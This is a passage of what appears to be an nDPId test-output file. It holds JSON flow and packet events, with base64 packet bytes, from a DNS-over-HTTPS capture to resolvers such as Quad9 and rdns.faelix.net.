1fKIN+bOmeDA+2HTL5b\/h\/S8LxTnnbWVqrgwQxdpAQ1xCVDtsVFko7TfSsPQoikR1NXdGw35qIw15E77U92szex\/zyWrA\/2KGcD2M3u3eNzXjjgmkxW27iRaDVs9Dg00I8PXscfPuLziMbIIt+Qm0SfB\/SFf1ylBL4HammClVdC7YNhrs4NDTvUTrxAf\/9BLynvePRrZvNzUMjBT8JtlvsBmnasO+COXrGwGyL50S3HH+eTrpMH9LMnT\/2nWeiT7sDmyjA9eJmW05\/8DRI8uR2ignlELeQeE7ZYC8KKYreOyXVjuVJO8KRaBbSIU8dUGF\/ILBa6hey1v4zK5JU1MHXOVQdX1RkKit5IUXefBWJ4R0BtjoPPFwKYAfyrsAKBcQzvKsyota24c0cDVjMzge24BKry1Tqr123sw9sTncyGrJzrjJCAkeCEkQo\/KqOKmxNrr6CtJmmIByoS+EjVKjVpJBluAdt5s3qw9VBr\/A44f7M4XZ82OLHYLOdXuuY4Rgtek4oFOa\/eUNUqECm7Y6b272wQZRBWvplBYlD2RWyR8BI01QWkzD2WfZpeGCzTSL5ABcGznl3CTw+DF6WcoeJd6SbUQUUEPVBF4u3zdh9b1Jl9zNuwWauO57o6a9eFR5unb1g++tHtZoIerFI1gyMEkvujqSt\/jK8uIRkRYOGlslTd\/3gwipdTVXxsLWi2fDz9+hxgVNOGQx8\/XNWyG1F\/L1mjtzU1UBNgZmslQP0EHO4J0uMMhguKNrTksx3df79c\/0PdkBKYtPr+8Ipj\/SC3QYRzf0s53zKfkSiObQ\/sOVJpwMvMhEUZunN4GQG+WMzs5eDRzdpQVJe47jiYijmkgXFbUCq004yxOCosLJYnsGKuZDQyE0z4teBgJH8ZC2mVlhO8lAz8gPU5mm5pEBH0gFKqsINKjcIbhVPUHYBlhBeR1erIfe5hsNdbM\/YCyGrep30hH+qZ\/IBF\/s3j2eRJAN56DPG7eQXCsiZSBsk9PTgJ38fSGAbaH0pLxsq2c1CaH7DzSlA01ud99lTK4rI7nRSGX9tAnrwTrORIzDrntkMH1VggJmMFY3EGxAMzh1CUd24C\/NVxnQ9P5qmX0Sgg6uSgxO2c7COAq2edHC\/ucd7dmb9rLGiOGU7YGRxfXuPTU+xfVNmV8wvcxQY9WY3QcHJbT2Vz2Hldj+q9L+347LUl4d5nRCyZOpijGWSFFM5lFqup\/GoObWXXvMsTO9NawTXovnf4MnjeZczPg2FrW3tlX0uBW7P24cE4VNHjvnvHknCsLft2dOFPhwAUA7qVOuJixr0stgCN8eCmK\/n1WzppsTm55hMBmYIkE9rYwxrxXiN39LFT+j0SlpiMqf5n1b7aJjSjiQjm1\/T42XF5prhRwaxJyOBzS5a2w2BxZDhOvMuBRY6ZtDe+ptzu07\/eUIO\/cQq36LXuMCRYTHNEIXnWWtA0vjAcmq+EwSCLEygFwVxoPgN5h2qTp7SdJVushbBgsziLiKFyhenEAkjP4tYMg82sWXtGvK2T4GbMrKF+OJsVll7gTGHENl+vuBtGryghKs2kRZov918dT+VWdywju+ew9zl+S0NiyZlvWu+CmHSGFpvtCqWMXNaXEERtmXJVFofSJ7ykCfNo49lq+tJOi\/mrPExexfpWVgisqVMvGukP+ZkhcE5Ck47mFMZqfJTRL364HqGaNbc7EKIab24NToEVrdLyvx+sQZXNXCyXhOVxnIWFgUdF0PMAFDvMwWrgJTufvZcx1q\/rK6GjKie1KAVcLQPkAeyb2aBh0GehIKRHB5OLWsjRXWSnC7RfnFW6K8cokr6NiSGrPTHJtZfW+014hI265qPA0R6qLZ3SkGPsU2l+ULOh8f4TsNZmRbk\/UzcCp9zJB2\/sAwMANTEmXxPw2yMWVIdXVMdzqrOV"} +00828{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":504,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":2,"flow_first_seen":946739402059,"flow_last_seen":946739402097,"flow_tot_l4_data_len":3229,"flow_min_l4_data_len":305,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1614,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.54","src_port":57058,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"rdns.faelix.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02303{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":97864,"pkt_caplen":1444,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1444,"pkt_l4_len":1410,"pkt":"ZmZmZmZmRERERERECABFAAWWZpJAADcGH\/ou48g2CgAAAQG73uK776KtxxCRm1AYAfUU3AAACNSc59sPW4OZKm6qSD7jsBvdulSTgK8LagzUdpT43FqU1TjbgFd6vr1YcfE0NFplErjVqY14Uy0e6vIiPxevgsH6OdIHZm6pvnG3NGQZr+Eawc3lwPRCg\/OYwfYOVATUQ+D48eMINi076ymhr9WarR1T\/muiarwvLXYV6Uhar7rOYnX1fnOldHU7V9Vf3n22jVlaRu9FvfUlIGCuR9DlhblioT6Pi7Xq+9B1pOrzTS3d2OyN7sMIE6PuhUF9VrXN4uLhsAemVKcWU2V+BGjWtfszG7hr7paN5M0A6WlSiJP5ugBdx739u3B3W1+KfLwVvbAx3Uf4RJvYnlmACvSx012Jhzer\/yuM4tk3QVpBdK\/jPEaTPWBaLG7GbcEgCr8Dd01cNEaknAYaE3S81foMCYQWnkCSEzXoXSN2X+GKzFZl0S1\/cEXQGO2yVQzWkPUMhh0gTbASy1MtoPkBs1VLmccZG6VMIanE\/Pd1\/AmN+44wbWDJ+AcIisgRr14kHkecxeo6qEPvRckWi1Y+MB43PdM38kIUuB4ny7fwppqpmv8DILGQ0779kEvzfVRiZrCYvFXu\/QOSUdvmxjdD6cpAlFDWsPq2Pc93te5jeGVaL0ejtHRLIxI7z\/Q501zSpx\/Cya9ypg5U1NAxSXKe10YJjCTWrmOYKmnYerWRan08XbdkvYLJUzjKsspm7dhtxg0E1f4GsSbQFVWwrs\/ZM+C5sBOiJWUOh2pogAFGGsfjjO9vzloRUIbA2Ux9PdhnCAwgsxjwIpMB0l+UdFEMsbPJQhlOxGEwe2dnsCm5A+xtqvz5mH9nbAz2uU5hDs7xBrPc+8iDApG3YcmB6tDQMRmVl4wND49H4\/Hb2EGewuCKV1\/lze0iB9RIgI9rfK\/5kPRVAptvZ2+Rek\/4ghlbEG+l+OpOmeFXbOF8BuB9O0sPArzn0gERY+1PqlX8USIY4KAapC8vGnRNqePUVgog6kgSCom8jkuyrzOHCdEM1CnPySLw7a\/tPZxODv2GVX+BkBTvdcEhFOjQ1TZSMjExVd8xloEm8\/FJ6+H0jkz8IvfKaJAX48951TiRuA57Va3CSiHx+djtV0dMa0UJnQcAEaubJWYUsRu7sYXVg8tQm7wgM9eerw0ql07SNc\/dHQUxeGfY6HDVaN4jlbWxp48tTf5vFa+VilGPTo45486GBOKU+5wyUckgVnRpF60eC3RcISu3IMve+0In4k9R88DIjvwS1SST04NZPv7f41CsbwoBIpKZKJAFU+NplzdS0BOyBcGgjEAzzOtpFJ7jXjBK8x1DEPVeN6HSSbNaiOV7VevW0oBjFRBvVLEmxy48HjBSY3QWjS+yqFN8Qy4bledb1fb4GI3oWPT+BRcDAwEZfpmEI\/d7cy4YyqdnKDwIn\/k3qXWNAj2sXjRKguMhqhlkOdUvzFkzzM0xeuvfwnq6QSn3NpKskeWNBR8K+ECaE3mhCxghdnhLIum9rgOMvkgnfyBTDAfYKNN\/d62vQY6u4rbxXpDQk04FVnBPxSfPHXuC+oF8kMOU1++DK+ZoETlcuLrk2BRjjMQpK7pf+k1VI6pVnOclLhCXYHQjMUHZufh3HVG3mM7BF+lzB0K07EInEh+Ccp7LdqMGfKnUNXPWyokhcE9BzZJT2yWb8DylKWRWvZNetxzugclU9IhwHPPfcLEVBg0Fudoqm9ZGps0h7H+c6XIpsbql70txNRPE+wXofhHvkqNoGKLp9YrmmnKta0xlevWHOwMXAwMARTi1\/bQ1JQowGKIWBX\/iwQMAp\/a2d7gVFXnQQSu7gEMDkgFlDNq8l9T+VqanQcvXHm8wx\/TYqk2+tBPvp+6SO7GVVfwN5A=="} +00527{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":101600,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4MV5AAH4GE0wKAAABLuPINt7iAbvHEJGbu++oG1AYAfW4QAAAFAMDAAEBFwMDAEXKqSJC2lkh5G42SMH+kUqPJFSCLOrnY5qYiyyOSGxU019Z3g1+admSewNNt0yPEZJoMQ1+JpUFad+MGHQ3aW46rImbTFY="} +00538{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":101756,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+MV9AAH4GE0UKAAABLuPINt7iAbvHEJHru++oG1AYAfW4RgAAFwMDAFHgR8CaAUsNqdt5xPfcdxXk\/ccwFxgxpSNMxvQytY9LevtkgxLHXMiQ60Vij3ZxU\/QEiR4Cl8Vf7C\/woRAEzI9Vk7xgbuIDVQT9L9Z9gXPTwyE="} +00644{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":101964,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"REREREREZmZmZmZmCABFAADOMWBAAH4GEvQKAAABLuPINt7iAbvHEJJBu++oG1AYAfW4lgAAFwMDAKEmGZ\/HoG2G2kIs0VOHX4VfluSvRbS3B5Dtro5flfU2S2pOYAqLjwJjn2MWxTA1twASDnU2goUAn4YGjpjjhLvK9IIRYIrgtHzlq7onpiEKjsj8WvSSO0yuRZ35KGqAMt66xsxXCEIugn4rYXwCA+yQRdS82dIpQnJvvlhKrmm1cT6bHj6U0TcWH6MZoWJpv6TPpVtzyxEprgFz7TjZIoOjdA=="} +00528{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":102064,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3MWFAAH4GE0oKAAABLuPINt7iAbvHEJLnu++oG1AYAfW4PwAAFwMDAEqQlMT4wdk+n7c86xb+CFcQm9klrwq37oR49lIONO\/FA29ONh3WL23\/nqrtaVrZ3IHK5V2IC7rINW4AuDCxpLmBO6MGrDfO3IZc8Q=="} +01113{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":136384,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImZpNAADcGI2ku48g2CgAAAQG73uK776gbxxCS51AYAfOzDgAAFwMDAPof+WtF11Ozscqnbk9LwyEG+uRIU3BH1ok6x9hpTLSEIYtXcejZHj7+ZiYxDWJ9JsLapKjcMdLzt9pPRdx3fCB12e+mD9iESh1\/RP7AUfMJNuYyyemrGuaMx1CADLPrBv\/GvF4QXGxSgyZYpKnfPtuTFlpRdkVitfIMUfRNgt7p7y\/J0bRM\/XtaCozEXndHJdi2MzxpjsuqDTLxNx3fEc6ZjG6V8HSg6O4sAVs9lhui\/kWCxRnX4+6c0O\/zd3ai0cBzMPJcIF\/h3f1bqrV1dheBaaX7f3ih1YUMj0CEfVG8k6gpJ3CUjhcWKyB\/QEIknmQArilW2+RPNURrFwMDAPplBDjjC1qzpyXls1HgHWZmxUqbAGipckQnVH6aggm1dvC8eyRrWp3juxNhcgKrjR+DByVwNQaYZ4G+j51u9\/EUiNWNUiDzWKVTmVPvG1sXGE1RhOsxCKNig1kePLW2pO33bsTrT0huFVy6\/JDDdolU1BCMU7kEFLf\/2FKTjkwnB0kOKBUfBHGlgTiBwbS+iK8n+PubQrA5JRX4z36z6t3a1GDH3uK2h6HM7ESyw0i2EC0\/RmvMkCHo9Wa6q4GxRyLzywnC4KWi6UJAtSdcXCb2fx\/4CoV6coxQYMmCTqANmxKw8cY+L\/vBX129GEDoBKJC9jDQGmpAq1pK"} +00490{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":136578,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"ZmZmZmZmRERERERECABFAABcZpRAADcGJTIu48g2CgAAAQG73uK776oZxxCS51AYAfWMqQAAFwMDAC8WFYozbIiHX0UDDG6Nk86vuDPcuYee4GV5jyCshrz3xwM+YfYskw3yL7UYSboviA=="} +00462{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":136728,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHMWNAAH4GE3gKAAABLuPINt7iAbvHEJM2u++qTVAYAfW4DwAAFwMDABp2ejkwHFygT\/3qqX9IUHmiYwTa1QrfBCpJdA=="} +00465{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":136828,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLZpVAADcGJUIu48g2CgAAAQG73uK776pNxxCTNlAYAfXahAAAFwMDAB7BAK1mPxIfHtkTa9vVNUol3MuUDIoHfx1tTbLeaTY="} +00892{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":137613,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"ZmZmZmZmRERERERECABFAAGGZpZAADcGJAYu48g2CgAAAQG73uK776pwxxCTNlAYAfWX2wAAFwMDAVlw7oocNRuNegqH4hbjzLJlHkeX3eUAbK4T0zT3+PK8fWyvFxi6VWYCKqakxPn+C+rKGdtI0s\/8rpESRYeiReAPjiPH12mfj30TBn6KoO3\/8r+oE7G8F5cePsU4IrGiRi99Hh8DD3cf3OVbEy97bl8Z7J474rFdJ5jrOGDQp+i7JvJYPWpPtbAgYFHLlwM6dr8vxp2q9y2mupFfKrRce6M7RFYIxk2IYqHJQJo\/CNtwKhaxYhALv\/LroW74Wi34CTiqEc7E1K5pgP64Ou3zvcyU4fCCXJyuPim6jHEEZ+wE88qIG1nCXaEEzyrB6COGbE11FJ2iaoOyn520RNafe67oIlB9HPFwTH92f5AqDKXdOjRanz7A2MoBx5oWxEda0i0viNaRn3qD1O5Bzw03k9fGYhdMOqv+EmpstIAEAHEeoUdLqe9Frh33ONJ9wYN1AvJsx9+pWxcWADY="} +00555{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":138042,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"REREREREZmZmZmZmCABFAACKMWVAAH4GEzMKAAABLuPINt7iAbvHEJNVu++rzlAYAfW4UgAAFwMDAF1C7DgJXg3YyPO9uvkP6QbQ4j8b3kWI119+UChIa6U9pz3\/FhgEDZtAVBUMyoQ3YNVHcUi0u95tXZ62LNZuP8IKMpmrghRSbJ5yFXFi9AbMIwDSuIyTUM\/FXw\/KX9s="} +00568{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":138117,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWMWZAAH4GEyYKAAABLuPINt7iAbvHEJO3u++rzlAYAfW4XgAAFwMDAGkEfwTn9FX0oEnOUqxR2KLsW6EXX1lylmfHTlijJoxjavUWfyyS9tVnQLfMAGC42UPyr3hipB1j79znzEvg3FgLvK+BzM+JRHcrkf4gGFO3VuxmS287aXHwq6SuYWu1wVLMxyf8PBcrSOk="} +00682{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":187345,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"ZmZmZmZmRERERERECABFAADrZphAADcGJJ8u48g2CgAAAQG73uK776vOxxCUJVAYAfV0OwAAFwMDAL6wyx998YbKxmhMw3+CbPsfnr4wXvWu9\/nfQvNorwHZg0srS5b7iFdGjGxZUGNlFBD4TLH3AzFc1xK1\/J0T2VFH8uDpGe8owqNCKImjGik5Rfd5F24uYKSGIYmxbUfgE5PK2eru+BRCrL8IEcqvV0LwgKt5CQaKMtHOFanb7Cza85s9XyOcjYz9wcZRJTSv46SL8xZ0wNzMBRezCeekROZM5P3D2xzeSAqSrV3f5Ck85qOoGJR8Qi7HLCko8nA2"} +00488{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":526,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739415,"pkt_ts_usec":188752,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ZmZmZmZmRERERERECABFAABbg19AADcGn1KIkNeeCgAAAQG7y9B6n4qk9ztBOFAYAPXJwgAAFwMDAC7p4enar7a69h\/ap6n0W5hiq1K9j0xA71Ah1sGQS9PZ3SOPEcpAhCVrUATzJZDF"} +00449{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739421,"pkt_ts_usec":46730,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAddtAAJkGvV8KAAAB2akUF4T0AbuSPudflAS7mVAYAfWurwAAFwMDABPAQVvrxZDxyu0V2WbXi8Wc7\/ph"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":539,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":946739603327,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"9.9.9.10","src_port":51846,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00806{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":327563,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFFXkZAAKYGop0KAAABCQkJCsqGAbs6mTvywXrNXlAYAfbUBgAAFgMBARgBAAEUAwPEiPyvZDyiU8chFqn7v3nOV\/W\/daCFgBrWvLyeLgdOBSBmgVOewdr23+YbXlV2oJqCio3+iP7mE\/SqSoHvhanHngAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPZG5zMTAucXVhZDkubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIELSbbeQ+1Z\/PGkzWYpOrrGvdC\/XSIyiiMDimHGqOwN9"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":539,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":946739603327,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"9.9.9.10","src_port":51846,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns10.quad9.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04497{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739603,"pkt_ts_usec":346755,"pkt_caplen":3068,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3068,"pkt_l4_len":3034,"pkt":"ZmZmZmZmRERERERECABFAAvuVbVAADsGC4YJCQkKCgAAAQG7yobBes1eOpk9D1AYAHferwAAFgMDAHoCAAB2AwPPxPF58rRx8NlAStddGtWmBxk0TsgFRMyjmLE2UJLzOSBmgVOewdr23+YbXlV2oJqCio3+iP7mE\/SqSoHvhanHnhMCAAAuACsAAgMEADMAJAAdACAXimL6oC2BgKKkKv2GFQZ0YvKv9UBLIqQLjYesKsDOXxQDAwABARcDAwAgsv\/aMwoaVLJwBsdUrBspRDIe6WOUfDjyPvz9+wtEYK8XAwMKaJbt\/ye5NqlSM6\/tOfe9bC5ygGHuvTHGsEkug50mliwDXC+zbimuaXpevBCVc6v4emlocpuYSolXpHjPLZ5mH\/n\/Wwg\/zT8DKTys1phOBjndqMIJ26DAd1BULzfsS4\/LPzxUrBzIWvX6A2LKLmwvvolWTixlKxXTGAwoKmNpvOmmolp5p0KnP+05uqYpZwQr1eiVG4Jbxo4RKPp2m5qudj526IfaIUxv6TymwnkyKidb8KJ7fECEEmqDTEJYi3AMqq0F6jVWm4S\/Cw3xWxFHQLXfbhWl\/xQNbH7sQr1+VP1aT1KVnkPOnmrjsvXKtU37nhtNVagiwB4tTsa0XjgxO6nNrduMisjiP1kYOcjiQ52IvQ8yUcLxoVZvs66brT2XF4X+BUOjv0f2D+iKuSPPaodKDokIKfB3EFHwrxtXROObndCkt2l8uoO\/YFwn4AVaivPS7QA9y1ZB5oLifA+q5b\/fsbKJUohIzT23SgYvI1FZi9km+tWoalj+0eMzm2XcwysPa97vGSKpeXtbzhnBE6t0DL+SCNAkdyN9iZf+SkkYuc1rpy8H6FsnB0MNHcLT\/7h9UpysD4zCa5uCyld0qhDdV3MzU7a7heBLLZvpkeoMCMY0KW7Nghl3Tf2jMPhPpMXgWhDsiEqTDOOStqJ6ji5D3nXcz67NA7onASlOfxCYNM8r0u017+zZIe1OE+PpBYW8chi30ujo48vE+6Zr1LXdzMZq7SQ9KcvNds70bZNXXOxSMjMXLVZIXnbsRiW02iiUe4S1V8qA1xoY+tL3PM\/3KBP4ZSUn0i9oU0Zm0bhbtwOS\/9R3KZPgmCI+1g7zZ+sqsIKC0g2uvkEsdNIqhrXU224qW6xxP\/j7fBBrVPw5fuLCU7p8+Yh1Cpxk4zFmUhl0XbcAlqLu7rHI4fQoDUdIgemBLeSEl1+Y\/z6KYsqD8NYrgKAvSsbZ1H\/Vdb3V1ajFVEUtmvJbvjf\/83uaxbTgecYPCPp7fDTlwk8SSHepVo8KtWsduLEs3DxEjvauvr9rL7FbVuDjSA3SeEqhFhGtSYJioWjgprG3WdpQzYP52GvnOKwXu7vjaJad3BS\/DxKTEtPTMDE4Fp6cDirnN3wrVazuNyc6gO+xpNalCZ8Rd4w5DmHczo4DwVyfZ9Fxz7k2fB4TnNz9ILT10qjnOlN\/ksy+JVVDJTTX6v+Ua3SCh6Bynhcuz7SktArn4gMoxcY2E4z4hIcGQHNkb+py02aK7EHGVgPR74HZosi0lhtUl4dpwbcfDHkQU+oVloy53x1IxuauA66S2qPneNDmRr8rKf9GU\/LJH2dezQ+WudmVZtgHXrLWtjuFmnH7eaBODVb8UwsA0Ge9wdJPfbyaGd7iLOv94vz10GXsEVy\/CXkZZhekrbvjToLvfDqaRAilCzMBHwybWhwwRUQsUh\/rPF7FXEJaXHA+eAZPWEuEetxByN3cFbJKFAiJ4IoKIRBIkGZxaTOcLn\/+XdFg3+W\/lMlmaqOUp903NihM97Rw4Bpqxex1vlYSLEh1ll9uJAf5iJVYMcmiqcaYXWfQOEXWR1wEE7wZE1+wo9+np3wP\/ty0jb3vy8+oqDWA8OdUjkdhqeUyfjZfa6t7pr4ITQpHLy0bNHsZ48wim0yu3Y7a6artue3kmQYcW2RckDOWxjAYg9ikO\/kwS062tZFHnT2VanvAd16qor00inyMS9VT8p\/085mt8kQkGSG0rip8q4xWZYbMFCfcEVkD4E5q7utpFEDkZ964uRE2Vw1PzBHn62rcmtvUqQaoGAFjFlHLMS40f9r+HKG7wRWTWQ29d16NsH+Xu0qXRhzWgjImijKWlv6KBGT1Cxynn\/KrehvF0361FyBUkJo1S1Ztxsubdf3ddeGeEr99d5oc\/xgpXMAl6ZIfUBPJjnOeC932\/TOOjMzG7PhOgunB+ggqQ5LQc0CX3c5BLlJtBtobycDsl7t\/eLrX\/bMfWq1dBy8SxYnEvGbNHrForDiuOA\/0lI3GVO62V5P1dM2BK8fdHneO0FhK969xszY4KacAP0CD5Aah0NJ2dzSGVZQtRmv\/TuFZlUQB3cFfHJYpNMU\/sn32bfB7GWJI2MhPEITiLal7HIPxgTikeJcDL13qUn7bk19T+rXcadCGiBoKDb40Dx6ogDfm4H0pA9C7OZJC0LRf01KZZRBjQs4x5ewT+p6+Og3SFrrTJ8ObJe\/TFocDQSMCBCWHQJqFicRtnWl4mmw+qTCsSoZQ\/ibkZFi+igS4TWV+31tPjazydJfOrW9xLZSgCilkMeJWYl8vH1ijLI+xCM8xxlQj5svlwHqvt+EkteECF3EKEt55AWpnRTNzzJivCSHy2gGPxW5UKKBkiSUoPFh0qyVjKN5HqDcW5MrFR2HpLqhuRbEXoannFiepiMp6aCVRMgYzvmQIyFH17\/3pokulHalnqX0gFQkjPqUPYf6B8\/o0H5LL0kahUiyL+d6BqSr8d42vsjYrpSfDaIcCW+FFGcj\/61Y6Fdihg57b1nq47mVWBJ9vcfq6xagmjwoJrNbwHaDS0XVSxL6y45zWrDfovrm0VvelVEdjwsn0FcoL6zZxDjjOt0EJP+OSVXcMeuY7uIG+KTnnHoV0vMvgMsIMiJbtYXg